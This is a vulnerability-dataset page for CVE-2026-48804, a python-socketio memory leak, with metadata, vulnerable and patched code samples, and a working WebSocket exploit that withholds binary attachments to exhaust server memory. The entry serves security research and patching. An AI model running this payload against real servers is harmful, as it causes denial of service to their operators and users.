VAITP Dataset

← Back to the dataset

CVE-2026-48804

A memory leak in python-socketio from incomplete binary messages can cause a DoS.

  • CVSS 7.5
  • 770
  • Resource Management
  • Remote

python-socketio is a Python implementation of the Socket.IO realtime client and server. The python-socketio server stores binary `EVENT` and `ACK` messages in memory while it waits to receive their binary attachments. Once all the attachments are received, these messages are then processed. Prior to version 5.16.4, an attacker can submit a binary message and intentionally omit sending one or more of its attachments to cause the message along with the partial list of received attachments to stay in memory for a long time. Version 5.16.4 takes the following measures to address this issue: Binary packets are only accepted from authenticated clients and, when a client disconnects, the server checks if there is a partial binary message being held for the client and deletes it.

CWE
770
CVSS base score
7.5
Published
2026-08-11
OWASP
A04 Insecure Design
Orthogonal defect classification
Timing/Serialization
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Memory Leaks
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
python-socke
Fixed by upgrading
Yes

Solution

Upgrade `python-socketio` to version 5.16.4 or later.

Vulnerable code sample

import asyncio

class AsyncServer:
    """A simplified python-socketio server."""

    def __init__(self):
        # In-memory storage for incomplete binary messages, keyed by sid.
        self.binary_packets = {}
        # Simple session storage.
        self.sessions = {}

    async def _handle_binary_start(self, sid, pkt):
        """Simulates storing a binary packet while waiting for attachments."""
        self.binary_packets[sid] = {'packet': pkt, 'buffers': []}

    async def _trigger_event(self, event, sid):
        """Placeholder for the real event trigger logic."""
        pass

    async def _handle_eio_disconnect(self, sid):
        """Handle a client disconnection from the transport."""
        # VULNERABLE: Partial binary messages are not cleared on disconnect, causing a memory leak.
        pass

        await self._trigger_event('disconnect', sid)
        if sid in self.sessions:
            del self.sessions[sid]

Patched code sample

import asyncio

class AsyncServer:
    """A simplified python-socketio server."""

    def __init__(self):
        # In-memory storage for incomplete binary messages, keyed by sid.
        self.binary_packets = {}
        # Simple session storage.
        self.sessions = {}

    async def _handle_binary_start(self, sid, pkt):
        """Simulates storing a binary packet while waiting for attachments."""
        self.binary_packets[sid] = {'packet': pkt, 'buffers': []}

    async def _trigger_event(self, event, sid):
        """Placeholder for the real event trigger logic."""
        pass

    async def _handle_eio_disconnect(self, sid):
        """Handle a client disconnection from the transport."""
        # FIX: Clean up any partial binary message held for the client.
        if sid in self.binary_packets:
            del self.binary_packets[sid]

        await self._trigger_event('disconnect', sid)
        if sid in self.sessions:
            del self.sessions[sid]

Payload

import asyncio
import websockets

# Replace with the target server's address
TARGET_URI = "ws://localhost:5000/socket.io/?EIO=4&transport=websocket"

async def exploit():
    """
    Connects to a vulnerable python-socketio server and sends a binary
    event packet declaring two attachments, but only sends one. This causes
    the server to hold the message in memory, waiting for the second
    attachment which never arrives. Repeating this can lead to memory exhaustion.
    """
    try:
        async with websockets.connect(TARGET_URI) as websocket:
            # Perform minimal Engine.IO and Socket.IO handshake
            await websocket.recv()      # Receive Engine.IO OPEN packet
            await websocket.send("40")  # Send Socket.IO CONNECT to default namespace
            await websocket.recv()      # Receive Socket.IO CONNECT confirmation

            # 1. Send a binary event header declaring 2 attachments.
            #    '4' = Engine.IO MESSAGE
            #    '5' = Socket.IO BINARY_EVENT
            #    '2' = Number of binary attachments to follow
            header_packet = '452-/,["attack_event", {"_placeholder": true, "num": 0}, {"_placeholder": true, "num": 1}]'
            await websocket.send(header_packet)

            # 2. Send only the first of the two declared attachments.
            #    A larger attachment will consume more memory on the server.
            attachment_one = b'\xDE\xAD\xBE\xEF' * 1024 * 256  # 1MB payload
            await websocket.send(attachment_one)

            # 3. OMIT the second attachment.
            # The server will now leak memory by holding the partial message.

            # Keep the connection alive to ensure the partial message is not discarded.
            # In vulnerable versions, this memory is held until a server-side timeout.
            # Patched versions clear this memory upon client disconnection.
            await asyncio.sleep(3600)

    except Exception as e:
        print(f"An error occurred: {e}")
        print("Ensure the target server is running and vulnerable.")

# To cause a denial-of-service, run multiple instances of this coroutine.
if __name__ == "__main__":
    asyncio.run(exploit())

Cite this entry

@misc{vaitp:cve202648804,
  title        = {{A memory leak in python-socketio from incomplete binary messages can cause a DoS.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-48804},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48804/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::